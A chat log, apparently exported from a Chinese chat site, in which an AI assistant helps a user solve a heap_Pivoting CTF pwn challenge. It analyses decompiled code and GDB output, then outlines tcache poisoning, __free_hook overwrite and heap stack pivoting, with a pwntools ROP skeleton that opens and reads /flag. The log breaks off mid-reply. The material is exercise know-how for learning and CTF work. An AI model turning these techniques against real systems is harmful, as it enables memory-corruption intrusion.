我正在解决一道ctf pwn题,题目给了一个elf文件,题目名称是heap_Pivoting,我用i...

创建于:2025年8月17日

使用 GPT-5 Thinking 回答 Chat01

问题

我正在解决一道ctf pwn题,题目给了一个elf文件,题目名称是heap_Pivoting,我用ida64反编译后的部分源码发送给你,请你帮助我分析尝试得到flag:// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
void *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
sub_4015F0(
(unsigned int)sub_400D67,
v4,
(unsigned int)&retaddr,
(unsigned int)sub_401AB0,
(unsigned int)sub_401B40,
a3,
(__int64)&v5);和void term_proc()
{
;
}
}和__int64 init_proc()
{
return 0LL;
}和+0000000000000000 ; D/A/* : change type (data/ascii/array)
+0000000000000000 ; N : rename
+0000000000000000 ; U : undefine
+0000000000000000 ; Use data definition commands to create local variables and function arguments.
+0000000000000000 ; Two special fields " r" and " s" represent return address and saved registers.
+0000000000000000 ; Frame size: 0; Saved regs: 0; Purge: 0
+0000000000000000 ;
+0000000000000000
+0000000000000000 r db 8 dup(?)
+0000000000000008
+0000000000000008 ; end of stack variables和void __fastcall __noreturn sub_4015F0(int a1, int a2, int a3, int a4, int a5, int a6, __int64 a7)
{
sub_401110();
sub_400E00(a1, a2, a3, a4, a5, a6, a7);
}和__int64 sub_401110()
{
int v5; // esi
int v6; // r11d
int v7; // r10d
__int64 result; // rax
int *v24; // rdi
int *v25; // r8
int v26; // r9d
unsigned int v27; // esi
int v28; // ebp
unsigned int v34; // eax
int v45; // eax
int v46; // eax
unsigned int v47; // [rsp+0h] [rbp-124h] BYREF
unsigned int v48; // [rsp+4h] [rbp-120h] BYREF
unsigned int v49; // [rsp+8h] [rbp-11Ch] BYREF
int v50[31]; // [rsp+Ch] [rbp-118h] BYREF
int v51; // [rsp+88h] [rbp-9Ch]
int v52[31]; // [rsp+8Ch] [rbp-98h] BYREF
int v53; // [rsp+108h] [rbp-1Ch]

_RAX = 0LL;
__asm { cpuid }
dword_6CC684 = _RAX;
v47 = 0;
v48 = 0;
v49 = 0;
if ( (_DWORD)_RCX == 1818588270 && (_DWORD)_RBX == 1970169159 && (_DWORD)_RDX == 1231384169 )
{
sub_4010A0(&v47, &v48, v52, &v49);
v5 = dword_6CC690;
if ( v47 != 6 )
{
LABEL_46:
v7 = 1;
v6 = v48;
goto LABEL_6;
}
v48 += v52[0];
if ( v48 <= 0x2F )
{
if ( v48 >= 0x2E )
goto LABEL_86;
if ( v48 > 0x1F )
{
if ( v48 == 38 )
goto LABEL_65;
if ( v48 == 44 || v48 == 37 )
{
LABEL_86:
dword_6CC6C8 |= 0x33u;
goto LABEL_46;
}
}
else
{
if ( v48 >= 0x1E || v48 == 26 )
goto LABEL_86;
if ( v48 == 28 )
{
LABEL_65:
dword_6CC6C8 |= 4u;
goto LABEL_46;
}
}
LABEL_85:
if ( (dword_6CC690 & 0x10000000) == 0 )
goto LABEL_46;
goto LABEL_86;
}
if ( v48 != 77 )
{
if ( v48 <= 0x4D )
{
if ( v48 != 55 && v48 != 74 )
goto LABEL_85;
}
else if ( v48 != 90 && v48 != 93 )
{
if ( v48 != 87 )
goto LABEL_85;
v46 = dword_6CC6C8 | 0x20000;
LABEL_81:
dword_6CC6C8 = v46 | 0x230;
goto LABEL_46;
}
}
v46 = dword_6CC6C8;
goto LABEL_81;
}
if ( (_DWORD)_RCX == 1145913699 && (_DWORD)_RBX == 1752462657 && (_DWORD)_RDX == 1769238117 )
{
sub_4010A0(&v47, &v48, v52, &v49);
_RAX = 0x80000000LL;
__asm { cpuid }
if ( (unsigned int)_RAX > 0x80000000 )
{
_RAX = 2147483649LL;
__asm { cpuid }
dword_6CC6A8 = _RAX;
dword_6CC6AC = _RBX;
unk_6CC6B0 = _RCX;
dword_6CC6B4 = _RDX;
}
v6 = v48;
if ( v47 == 21 && v48 - 96 <= 0x1F )
dword_6CC6C8 |= 0x10u;
v7 = 2;
v5 = dword_6CC690;
}
else
{
v5 = dword_6CC690;
v6 = v48;
v7 = 3;
}
LABEL_6:
LOBYTE(_RAX) = dword_6CC694;
if ( (dword_6CC694 & 0x100) != 0 )
dword_6CC6C8 |= 0x4000u;
if ( (dword_6CC694 & 0x8000) != 0 )
dword_6CC6C8 |= 0x8000u;
if ( dword_6CC684 > 6 )
{
_RAX = 7LL;
__asm { cpuid }
dword_6CC698 = _RAX;
dword_6CC69C = _RBX;
dword_6CC6A0 = _RCX;
dword_6CC6A4 = _RDX;
}
if ( (v5 & 0x8000000) != 0 )
{
__asm { xgetbv }
if ( (_RAX & 6) == 6 )
{
if ( (v5 & 0x10000000) != 0 )
dword_6CC6C8 |= 0x40u;
if ( (dword_6CC69C & 0x20) != 0 )
dword_6CC6C8 |= 0xC00u;
if ( (_RAX & 0xE0) == 224 && (dword_6CC69C & 0x10000) != 0 )
{
v45 = dword_6CC6C8;
if ( (dword_6CC69C & 0x20000) != 0 )
BYTE1(v45) = BYTE1(dword_6CC6C8) | 0x30;
else
BYTE1(v45) = BYTE1(dword_6CC6C8) | 0x10;
dword_6CC6C8 = v45;
}
if ( (v5 & 0x1000) != 0 )
dword_6CC6C8 |= 0x80u;
if ( (byte_6CC6B2 & 1) != 0 )
dword_6CC6C8 |= 0x100u;
}
if ( dword_6CC684 > 12 )
{
_RAX = 13LL;
__asm { cpuid }
if ( (_DWORD)_RBX )
{
qword_6CC6C0 = ((_DWORD)_RBX + 127) & 0xFFFFFFC0;
_RAX = 13LL;
__asm { cpuid }
if ( (_RAX & 2) != 0 )
{
v50[0] = 0;
v50[1] = 160;
v24 = v52;
v50[2] = 576;
v52[0] = 160;
v25 = v50;
v52[1] = 256;
v26 = 3;
v27 = 2;
v28 = 238;
while ( 1 )
{
if ( _bittest(&v28, v27) )
{
_RAX = 13LL;
__asm { cpuid }
v24[2] = _RAX;
if ( v27 == 2 )
goto LABEL_25;
v34 = v25[1] + v24[1];
if ( (_RCX & 2) != 0 )
v34 = (v34 + 63) & 0xFFFFFFC0;
v25[2] = v34;
}
else
{
v24[2] = 0;
if ( v27 == 2 )
goto LABEL_25;
v25[2] = v25[1] + v24[1];
}
if ( v26 == 32 )
{
if ( v51 + v53 )
{
dword_6CC6C8 |= 0x40000u;
qword_6CC6C0 = (v51 + v53 + 127) & 0xFFFFFFC0;
}
break;
}
LABEL_25:
++v27;
++v26;
++v24;
++v25;
}
}
}
}
}
if ( v7 == 1 && v47 == 6 )
{
if ( v6 == 63 )
{
LABEL_55:
if ( v49 > 2 )
goto LABEL_16;
goto LABEL_52;
}
if ( v6 == 60 )
{
if ( v49 > 3 )
goto LABEL_16;
goto LABEL_52;
}
if ( (unsigned int)(v6 - 69) > 1 )
{
if ( v6 == 61 )
{
if ( v49 > 4 )
goto LABEL_16;
goto LABEL_52;
}
if ( v6 != 71 )
{
if ( v6 != 86 )
goto LABEL_16;
goto LABEL_55;
}
}
if ( v49 <= 1 )
LABEL_52:
dword_6CC69C &= 0xFFFFF7EF;
}
LABEL_16:
result = v47;
dword_6CC6BC = v6;
dword_6CC680 = v7;
dword_6CC6B8 = v47;
return result;
}和// write access to const memory has been detected, the output may be wrong!
void __fastcall __noreturn sub_400E00(
__int64 (__fastcall *a1)(_QWORD, __int64, __int64),
unsigned int a2,
__int64 a3,
void (__fastcall *a4)(_QWORD, __int64, __int64),
__int64 a5,
__int64 a6,
__int64 a7)
{
__int64 v10; // rdi
__int64 (__fastcall **v11)(); // rbp
__int64 (__fastcall ***v12)(); // rbx
__int64 v13; // rax
int v14; // eax
unsigned __int64 v15; // rax
unsigned int v16; // eax
signed __int64 v17; // rax
char v20[72]; // [rsp+20h] [rbp-98h] BYREF
unsigned __int64 v21; // [rsp+68h] [rbp-50h]
unsigned __int64 v22; // [rsp+70h] [rbp-48h]

dword_6CB700 = 0;
v10 = a3 + 8LL * (int)a2 + 8;
qword_6CC640 = v10;
qword_6C9F90 = a7;
do
v10 += 8LL;
while ( *(_QWORD *)(v10 - 8) );
sub_443C80();
if ( !qword_6CD288 && &dword_400000 )
{
qword_6CD288 = 4194368LL;
qword_6CD2C0 = 6LL;
}
if ( !dword_6CB700 )
{
v14 = sub_444C40();
if ( v14 < 0 )
sub_412330("FATAL: cannot determine kernel version\n");
if ( !dword_6CD2E0 || dword_6CD2E0 > (unsigned int)v14 )
dword_6CD2E0 = v14;
if ( v14 <= 132639 )
sub_412330("FATAL: kernel too old\n");
}
if ( &off_4001D8 < (__int64 (__fastcall **)())init_proc )
{
v11 = &off_6CA060;
v12 = &off_4001D8;
while ( 1 )
{
v13 = ((__int64 (
)(void))v12[2])();
v12 += 3;
*v11 = (__int64 (__fastcall *)())v13;
if ( v12 >= (__int64 (__fastcall ***)())init_proc )
break;
v11 = *v12;
if ( *((_DWORD *)v12 + 2) != 37 )
sub_412330("unexpected reloc type in static binary");
}
}
sub_401AA0();
v15 = *(_QWORD *)qword_6C9F80;
LOBYTE(v15) = 0;
__writefsqword(0x28u, v15);
__writefsqword(0x30u, *(_QWORD *)(qword_6C9F80 + 8));
if ( a6 )
sub_40F190(a6, 0LL, 0LL);
sub_444D50(a2, a3, qword_6CC640);
if ( a5 )
sub_40F190(a5, 0LL, 0LL);
if ( dword_6C9F98 )
sub_401640();
if ( a4 )
a4(a2, a3, qword_6CC640);
sub_443680(0LL, 0LL);
if ( (unsigned int)sub_40E0F0(v20) )
{
MEMORY0;
if ( _InterlockedDecrement(0LL) )
{
while ( 1 )
v17 = sys_exit(0);
}
v16 = 0;
}
else
{
v21 = __readfsqword(0x300u);
v22 = __readfsqword(0x2F8u);
__writefsqword(0x300u, (unsigned __int64)v20);
v16 = a1(a2, a3, qword_6CC640);
}
sub_40EF90(v16);
}如需更多信息请你知道我我再提供

思考

Analyzing exploitation approach

Given heap pivoting, we might be looking at tcache poisoning or unsorted bin vulnerabilities, with a possible stack pivot via the heap. For exploitation, let's focus on identifying the function pointer to sub_400D67 and understanding how sub_400E00 sets it up during its process. This runtime initializer is likely where we can pivot.

Exploitation directions

It looks like sub_400D67 is the target, with a4 and a5 representing init and fini arrays. For further analysis, we need to use IDA to locate sub_400D67 and gather details on the menu, heap functions, glibc version, and any protections. We’ll outline steps and ask for specific symbols or menus, and suggest appropriate exploitation methods like heap pivoting or ROP techniques.

Exploitation plan

For exploitation, focus on sub_400D67. Let's start by analyzing how to detect vulnerabilities through strings, cross-references to malloc/free, and reviewing the menu. We’ll also look into seccomp and sandboxing. The plan includes heap pivoting, possibly with ROP gadgets or stack techniques like overwriting the return address.

Exploitation flow for heap pivoting

For exploitation, we may pivot using tcache poisoning to overwrite the return address or hooks like __malloc_hook or __free_hook. If dynamic, we can target functions like mprotect or system("/bin/sh"). If static, the approach may differ, ideally focusing on read/write/exit with seccomp and exploiting function pointers.

Thought for 15s

回答

太好了,有这些反编译片段已经能看出不少结构。先把你给的代码“对号入座”,然后我给你一条能快速落地的利用思路(含 GDB/IDA 的定位步骤和 pwntools 骨架)。如果你把 sub_400D67(真正的 main)、菜单/堆操作函数和保护信息再贴出来,我可以直接把漏洞点和完整 exp 写出来。


你给的这些函数在程序里的角色

  1. start → sub_4015F0 → sub_400E00(...)
    这套和 __libc_start_main(main, argc, argv, init, fini, ...) 很像:
  • a1=(unsigned int)sub_400D67:这就是“真正的 main”。
  • a4=sub_401AB0a5=sub_401B40:看起来像 .init/.fini 回调。
  • 结尾 a1(a2,a3,qword_6CC640) 调回“main”。

=> 结论:真正要分析的是 sub_400D67 以及它调用的菜单/堆函数。你贴的 CPU/内核检测 (sub_401110sub_443C80sub_444C40) 多半与利用无关。

  1. sub_401110()
    纯 CPUID/XGETBV 特性探测,设置若干全局标志(dword_6CC6C8 等)。与 pwn 利用无关

  2. sub_400E00(...)
    像极了一个“静态自带运行时”:

  • 处理 argv/envp,调用 init/fini,可能有 seccomp/沙箱 初始化(sub_443680sub_40E0F0 一眼看着像 BPF/安装过滤器那一类)。
  • sys_exit 直接系统调用的影子、地址密集在 0x44xxxx很可能是静态链接(对我们是好消息:ROP gadget 巨多;坏消息:若 seccomp 限制,只能走允许的 syscalls)。

=> 结论:后续要确认是否装了 seccomp(能否 execve/open)。这决定我们最后是 system("/bin/sh") 还是“open -> read -> write 读 flag”的路线。


快速摸清战场(立刻能做)

1. checksec(确认保护与加载基址)

bash
checksec --file=heap_Pivoting # 重点看:PIE / RELRO / NX / Canary / 静态 or 动态
  • 地址像 0x400xxx大概率 PIE 关;NX 常见是开;Canary 要看输出;静态与否 checksec 会直说。

2. 定位“主逻辑”
在 IDA:

  • 跳到 sub_400D67(就是 main)。
  • 看字符串(Shift+F12):找菜单项(add/edit/free/show),或“size/name/content”等字样。
  • 跟进与堆相关的封装:malloc/newfree/deleteread/gets/fgets 等。
  • 记录:每个 chunk 的结构体/数组下标/是否有 UAF/越界写/双重释放

3. 运行时确认 seccomp
在 GDB:

gdb
r # 交互时另开终端试: grep Seccomp /proc/$(pidof heap_Pivoting)/status # 或者 attach 后:peda/pwndbg 的 seccomp 命令(若有)

也可以直接在 IDA 搜 prctlseccomp(SECCOMP_SET_MODE_FILTER)bpf 结构。


“heap_Pivoting” 题名通常的两条主线

题名叫 pivoting,常见是“把 RSP/栈转移到堆上,然后在堆上布置 ROP 栈”。静态二进制 gadget 多,十分适合做 ROP。

我给你两条常用而且的打法,结合你手里的题,任选其一/按限制切换。

路线 A:tcache/fastbin 污染 → 覆写 __free_hook / __malloc_hook → 直接起命令或 pivot

  • 目标前提:glibc 动态链接且版本 ≤2.34(2.34 之后 __malloc_hook 移除,__free_hook 仍在)。若是静态链接 musl或完全无 libc,此法不可用。
  • 利用路径:
    1. 通过 UAF/越界写造成 tcache poisoning(写入伪造下一个指针)。
    2. malloc 返回到你指定的地址(如 __free_hook 或全局函数指针)。
    3. 覆写 __free_hook = system 或填上 gadget 以 pivot。
    4. free("/bin/sh")(或随后 free 任意可控指针)直接弹 shell。
  • 需要的地址:__free_hooksystem(泄露 libc 基址后可解算),或找 GOT/plt 泄露。
  • 如果 seccomp 禁 execve/system:把 __free_hook 改到 setcontext+0xXX,进行堆 pivot(见路线 B)。

路线 B:堆上构造“伪 ucontext/Sigreturn frame” → setcontext+61 进行 RSP pivot → 纯 ROP 读 flag

  • 这个对 静态大程序 + seccomp 特好用。
  • 关键点:
    1. 在堆里布置一段“fake stack”,包括:/flag 字符串、ROP 链、若干寄存器快照(若走 setcontext)。
    2. 劫持一次函数指针/返回地址,跳到 setcontext+0x3d/0x61(不同 libc 偏移略不同;静态可在二进制里直接搜 setcontext 符号或找能一次性还原寄存器的 gadget)。
    3. RSP 被加载为你堆上的地址,从而完全控制 ROP 栈
    4. 组合允许的系统调用(若 seccomp 限制),常见最保守白名单:read/write/exit(有时也允许 openat)。
      • 典型 ROP:
        • open("/flag", O_RDONLY)openat(AT_FDCWD, "/flag", 0)
        • read(fd, heap_buf, 0x100)
        • write(1, heap_buf, 0x100)
  • Gadget/函数搜法(静态二进制里很好找):
    • pop rdi ; retpop rsi ; retpop rdx ; retpop rax ; retsyscall ; ret
    • 或者直接调用二进制里封的 sub_44xxxx 系统调用包装(你贴片段里有 sys_exit,很可能也有 sys_open/sys_read/sys_write 的薄封装;搜“mov eax, 2/0/1; syscall”等指纹)。

实操步骤(把上面落到可立即做的点)

IDA / x64dbg 搜索与命名

  • sub_400D67 命名为 main.
  • 跟踪所有 malloc/free/realloc/calloc 的交叉引用,命名成 add/edit/del/show 等。
  • 在“编辑/写入”路径里确认是否有 off-by-one、任意字节写、UAF、double free
  • 若有 puts/printf 打印指针,抓一手泄露(libc或可执行基址)。

GDB 快速确认堆布局(pwndbg)

gdb
start # 触发一次 add,确认 chunk 大小与用户输入的映射 vis_heap # 尝试 free 再 show,确认 UAF

寻找 pivot/函数指针落点(非常关键)

  • 目标一:返回地址(若存在可控的溢出帧)→ 直接 ROP。
  • 目标二:函数指针/虚表/钩子__free_hook、回调数组、析构回调、.fini_array)→ 劫持控制流。
  • 目标三:longjmp buf/setcontext 可控→ 一步 pivot。

pwntools 利用骨架(可直接改)

先假设:PIE 关、NX 开、Canary 关(或可绕)、允许 open/read/write;我们走“堆栈 pivot + ROP 读 /flag”。

python
from pwn import * # 环境 # context.log_level = 'debug' elf = context.binary = ELF('./heap_Pivoting', checksec=False) # libc = ELF('./libc.so.6') # 如果是动态题,按需加载 p = process(elf.path) def add(sz, data): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'size:', str(sz).encode()) p.sendafter(b'data:', data) def edit(idx, data): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'idx:', str(idx).encode()) p.sendafter(b'data:', data) def show(idx): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'idx:', str(idx).encode()) return p.recvuntil(b'\n---END---\n', drop=True) def delete(idx): p.sendlineafter(b'> ', b'4') p.sendlineafter(b'idx:', str(idx).encode()) # ==== 根据题目真实菜单改 ↑ ==== # 1) 堆风水:制造 UAF / tcache 污染,把下一个 malloc 指到我们想写的目标 # ... 根据具体漏洞写 ... # 2) 在堆上布置“fake stack” pivot = 0xdeadbeef # 堆地址:放 ROP 链的起点(实际跑起来用泄露/调试得到) flag_path = pivot + 0x300 buf = pivot + 0x400 rop = b'' # ROP 构造:open("/flag", 0) -> read(fd, buf, 0x100) -> write(1, buf, 0x100) # 需要你在二进制里找 pop/gadget & syscall,或者直接调 sub_44xxxx 的轻封装 # 例(纯 syscalls,占位写法): pop_rax = 0x401010 pop_rdi = 0x401111 pop_rsi = 0x401222 pop_rdx = 0x401333 syscall = 0x401444 rop += p64(pop_rax) + p64(2) # SYS_open rop += p64(pop_rdi) + p64(flag_path) rop += p64(pop_rsi) + p64(0) # O_RDONLY rop += p64(syscall) # fd 在 rax,继续使用 rop += p64(pop_rdi) + p64(3) # 假设 fd=3(按实际返回) rop += p64(pop_rsi) + p64(buf) rop += p64(pop_rdx) + p64(0x100) rop += p64(pop_rax) + p64(0) # SYS_read rop += p64(syscall) rop += p64(pop_rdi) + p64(1) # stdout rop += p64(pop_rsi) + p64(buf) rop += p64(pop_rdx) + p64(0x100) rop += p64(pop_rax) + p64(1) # SYS_write rop += p64(syscall) fake_stack = rop.ljust(0x300, b'\x00') + b'/flag\x00' # 3) 通过漏洞写入 fake_stack 到堆 # add(...) / edit(...) # 4) 劫持控制流:触发一次返回/函数指针,跳到 setcontext+offset 或 gadget 完成 RSP=pivot # 例:用 gadget 'xchg rsp, rdx ; ret' / 'leave ; ret' / 'mov rsp, rax ; ret' 等 pivot_gadget = 0x401555 # 将寄存器(rdx/rax)先指到 pivot,然后 ret 到 pivot_gadget # 具体看你能写到的返回地址/函数指针 # 5) 拿 flag p.interactive()

说明:上面 gadget 地址是占位,你在二进制里一搜就有大量可选;如果找得到 setcontext+0x61,你还可以在堆上放好 ucontext_t 结构,做到一次性还原寄存器并将 RSP 指到我们的 fake stack(更稳)。


如果是“free hook”解法(动态+glibc)

  • 先通过 show/泄露拿到 libc 基址(如泄露 puts@GOT → 计算 libc)。
  • tcache 污染将下一次 malloc 指到 __free_hook,然后写入 system
  • 再准备一个 chunk 内容为 "/bin/sh\x00"free 它即可。
  • 有 seccomp 禁 execve 时,把 __free_hook 指到 setcontext+offset,转路线 B。

你接下来给我的最小必要信息(给了我就能把 exp 填满)

  1. checksec 输出(尤其是 PIE/Canary/NX/静态or动态);
  2. sub_400D67(main)的反编译代码或伪代码;
  3. 题目菜单/交互(add/edit/show/del),及与堆相关的函数参数限制;
  4. 若有:任意打印/泄露点的输出示例(方便我算基址);
  5. 若你已经跑起来:是否有 seccomp(/proc/$pid/status 里的 Seccomp: 值,或你看到的被拒系统调用)。

给我这些,我就直接把“具体漏洞位置+准确的堆风水步骤+可用 gadget+完整 exp.py”贴你。

问题

我为你提供更多信息如下:void __noreturn sub_400D67()
{
int v0; // [rsp+Ch] [rbp-24h]
char v1[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
sub_400AA7();
while ( 1 )
{
while ( 1 )
{
sub_400AF4();
sub_43FCA0(0LL, v1, 16LL);
v0 = sub_40E180(v1);
if ( v0 != 1 )
break;
sub_400B5F();
}
if ( v0 == 2 )
{
sub_400CD5();
}
else
{
if ( v0 != 3 )
sub_43F2F0(0LL);
sub_400C25();
}
}
}和Reading symbols from pwn...
(No debugging symbols found in pwn)
------- tip of the day (disable with set show-tips off) -------
GDB's set directories <path> parameter can be used to debug e.g. glibc sources like the malloc/free functions!
pwndbg> b *sub_400E00+200
No symbol table is loaded. Use the "file" command.
pwndbg> run
Starting program: /home/sean/桌面/pwn
1.add
2.delete
3.edit
4.exit
Your choice:
1
idx:^C
Program received signal SIGINT, Interrupt.
0x000000000043fcb0 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0xfffffffffffffe00
RBX 0x4002c8 ◂— sub rsp, 8
RCX 0x43fcb0 ◂— cmp rax, -0xfff
RDX 0x10
RDI 0
RSI 0x7fffffffdf90 —▸ 0x401b40 ◂— push rbx
R8 0
R9 0x1999999999999999
R10 0
R11 0x246
R12 0x401ab0 ◂— push r14
R13 0x401b40 ◂— push rbx
R14 0
R15 0
RBP 0x7fffffffdfb0 —▸ 0x7fffffffdff0 —▸ 0x6ca018 —▸ 0x43b850 ◂— mov rcx, rsi
RSP 0x7fffffffdf78 —▸ 0x400ba0 ◂— lea rax, [rbp - 0x20]
RIP 0x43fcb0 ◂— cmp rax, -0xfff
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x43fcb0 cmp rax, -0xfff 0xfffffffffffffe00 - -0xfff EFLAGS => 0x216 [ cf PF AF zf sf IF df of ]
0x43fcb6 ✔ jae 0x444df0 <0x444df0>

0x444df0 neg rax
0x444df3 mov dword ptr fs:[0xffffffffffffffd0], eax [0x6ce850] <= 0x200
0x444dfb or rax, 0xffffffffffffffff RAX => 0xffffffffffffffff (0x200 | -0x1)
0x444dff ret <0x400ba0>

0x400ba0 lea rax, [rbp - 0x20] RAX => 0x7fffffffdf90 —▸ 0x401b40 ◂— push rbx
0x400ba4 mov rdi, rax RDI => 0x7fffffffdf90 —▸ 0x401b40 ◂— push rbx
0x400ba7 call 0x40e180 <0x40e180>

0x400bac mov dword ptr [rbp - 0x2c], eax
0x400baf cmp dword ptr [rbp - 0x2c], 0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffdf78 —▸ 0x400ba0 ◂— lea rax, [rbp - 0x20]
01:0008│-030 0x7fffffffdf80 —▸ 0x7fffffffdff0 —▸ 0x6ca018 —▸ 0x43b850 ◂— mov rcx, rsi
02:0010│-028 0x7fffffffdf88 —▸ 0x401ab0 ◂— push r14
03:0018│ rsi 0x7fffffffdf90 —▸ 0x401b40 ◂— push rbx
04:0020│-018 0x7fffffffdf98 ◂— 0
05:0028│-010 0x7fffffffdfa0 ◂— 0
06:0030│-008 0x7fffffffdfa8 ◂— 0xf6f11da4366b3f00
07:0038│ rbp 0x7fffffffdfb0 —▸ 0x7fffffffdff0 —▸ 0x6ca018 —▸ 0x43b850 ◂— mov rcx, rsi
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x43fcb0 None
1 0x400ba0 None
2 0x400dc7 None
3 0x401046 None
4 0x401635 None
5 0x4008b9 None
────────────────────────────────────────────────────────────────────────────────
pwndbg> p &v20
No symbol table is loaded. Use the "file" command.
pwndbg> x/gx fsbase+0x3000x6ceb80:0x00007fffffffe020pwndbg>ROPgadgetbinarypwnonly"popret"greprdiUndefinedcommand:"ROPgadget".Try"help".pwndbg>quitsean@seanvirtualmachine: /桌面fs_base+0x300 0x6ceb80: 0x00007fffffffe020 pwndbg> ROPgadget --binary pwn --only "pop|ret" | grep rdi Undefined command: "ROPgadget". Try "help". pwndbg> quit sean@sean-virtual-machine:~/桌面 ROPgadget --binary pwn --only "pop|ret" | grep rdi
0x000000000040263a : pop rdi ; pop rbp ; ret
0x0000000000401a16 : pop rdi ; ret
0x000000000049ef45 : pop rdi ; ret 0x22

思考

Considering heap exploitation strategy

The task seems to involve using a heap pivot for exploitation. There’s a mention of a potential UAF (use-after-free) vulnerability. The idea may be to overflow and overwrite function pointers using heap manipulation, but more specifics are needed about the sizes or memory structures at play. I'll look for a structured approach with available details.

Planning heap and ROP exploitation

It looks like the binary has static addresses, with a useful gadget found at 0x401a16 (pop rdi). If the code is static, __free_hook might not be an option, so pivoting to ROP with syscalls could be a better route. I'll suggest searching for gadgets, like leave; ret, and outline how to pivot using fake stack manipulation and function pointer overwriting. Not sure about the exact function, but the idea is to leverage an overflow and unsafe read.

Building a practical ROP chain

It seems there’s no stack overflow here, but we can still construct a minimal ROP chain. I'll show how to find syscall gadgets and use observed data from the menu to start building the exploit. For example, we could locate wrapper syscalls and propose techniques to leak heap pointers or manipulate memory using the "edit" function. However, since there's no GOT, we might need to take a different approach, like triggering a double-free or UAF for tcache poisoning and attempting to overwrite entries.

Examining function pointers and exploitation paths

Given the static nature of the binary, I’m considering if there’s a global function pointer array for menu handlers. It's more likely to use direct function calls instead

Thought for 27s

回答

好!现在我们已经能定位到“真正的 main”(sub_400D67)和菜单流转,外加你跑起来看到的菜单与寄存器/指令现场。结合题名 heap_Pivoting,八成是让你通过堆漏洞把 RSP pivot 到堆上做 ROP(静态二进制 > gadget 多;你给的 pop rdi ; ret 也证明了 PIE 关、ROP 资源充足)。

下面我把“怎么确认漏洞点 → 怎么做堆风水 → 怎么 pivot → 怎么用 ROP 直接读 /flag”整理成一条可落地的路线,并给出能直接改的 pwntools 模板与 GDB/IDA 检查要点。你把 sub_400B5F/400CD5/400C25 的伪代码再贴来,我可以把“风水细节 + 具体地址 + 完整 exp.py”填死。


你给的信息里最关键的点

  • 菜单主循环(sub_400D67):

    c
    sub_400AA7(); // banner loop { sub_400AF4(); // 打印菜单 sub_43FCA0(0, v1, 16); // 读入选择(read-like 包装) v0 = sub_40E180(v1); // 把选择转成int(atoi/strtol) if (v0==1) sub_400B5F(); // 1.add else if (v0==2) sub_400CD5(); // 2.delete else { // 3.edit / 4.exit if (v0!=3) sub_43F2F0(0); // 非 1/2/3 时报错/提示 sub_400C25(); // 看样子像 edit(从菜单串来看 3.edit), // 或者 edit/exit 共用一个分支(依据内部再分) } }

    小结:add / delete / edit 三件套,典型堆题。

  • 你在 GDB 里看到 0x43fcb0cmp rax, -0xfff → 这就是系统调用薄封装的错误码归一化逻辑(负 errno → 返回 -1)。这说明二进制里自带一批 syscall 封装(比如 open/read/write/exit),极利于做纯 ROP(即便无 libc)。

  • ROPgadget 找到:

    text
    0x401a16 : pop rdi ; ret 0x40263a : pop rdi ; pop rbp ; ret 0x49ef45 : pop rdi ; ret 0x22

    PIE 关(地址小、稳定),ROP 资源有。再搜一下 syscall ; ret 基本能找到。


推荐攻击路线(按常见出题习惯)

到底是“改 hook”还是“pivot + 纯 ROP”,取决于是否动态链接 glibc以及是否有 seccomp。你这个二进制里到处是 0x44xxxx 的运行时片段、syscall 薄封装、sys_exit很像静态/半静态风格。建议直接走 堆 pivot + 纯 ROP 读 flag,不依赖 libc 符号。

Step 0:确认保护与限制(做一次、一劳永逸)

bash
checksec --file=./pwn # 记录:PIE / NX / Canary / RELRO / 静态 or 动态
  • PIE 关:你给的 gadget 地址看就是关的(好事)。
  • NX 通常开:需要 ROP,不可能直接栈执行。
  • Canary:如果 on,走堆控流(不用栈溢出),OK。
  • 静态 or 动态:静态/半静态更偏向 纯 ROP + syscall;动态可以考虑 __free_hook(glibc ≤2.34)。

另外看 seccomp(可能通过 sub_443680 / sub_40E0F0 设置):

bash
# 运行时: grep Seccomp /proc/$(pidof pwn)/status # 或在 gdb/pwndbg 里搜 prctl/seccomp 片段
  • 若白名单只有 read/write/exit/open/openat,那就用 open/read/write/flag

Step 1:在 IDA 把 3 个菜单函数看明白(关键是“写越界/重用/双 free”)

  • sub_400B5F()add,看它 malloc 的 size 来源、是否会把 size 存在全局数组、是否把指针放到全局表;是否返回/打印索引。
  • sub_400CD5()delete,有没有 double free 检查?释放后有没有把指针清空?(tcache 污染入口)
  • sub_400C25():根据菜单应是 edit:是否 UAF(对已 free 的块还允许 edit)、是否 越界写(size 没校验/可控的 off-by-one)、是否能把 任意地址写入已释放块的 fd(tcache poisoning)。

常见可利用组合:

  • UAF:free 之后还能 edit/show,直接往已释放的 chunk 写 → 污染 tcache 链。
  • double free:同一索引连 free 两次 → tcache dup → 污染。
  • 越界写:跨越到相邻 chunk,改它的 size / fd 指针。

Step 2:选择一种可落地的劫持路径

路线 B(强烈推荐):堆上 fake stack → RSP pivot → 纯 syscalls 读 /flag

  1. 在堆上布置 fake stack
    • pivot = 某个堆地址(通过泄露或稳定分配可预测);
    • pivot + 0x000 放 ROP 链;
    • pivot + 0x300"/flag\x00"
    • pivot + 0x400 放读入的缓冲区;
  2. 用漏洞 改写一个可到达的返回地址 / 函数指针,令其跳到 pivot gadget,把 RSP 指到 pivot。常见几种:
    • 直接找 mov rsp, rax ; ret / xchg rsp, rdx ; ret / leave ; ret,并先把对应寄存器装成 pivot
    • 或者走 setcontext+0x61 流派(如果有),堆上伪造 ucontext_t,一次性恢复寄存器把 RSP 切过去(更稳)。
      在静态二进制里一般能搜到 setcontext
  3. ROP 链只用 syscall ; ret + 一堆 pop
    • open("/flag", O_RDONLY)openat(AT_FDCWD, "/flag", 0)
    • read(fd, buf, 0x100)
    • write(1, buf, 0x100)
    • exit(0)(可选)。

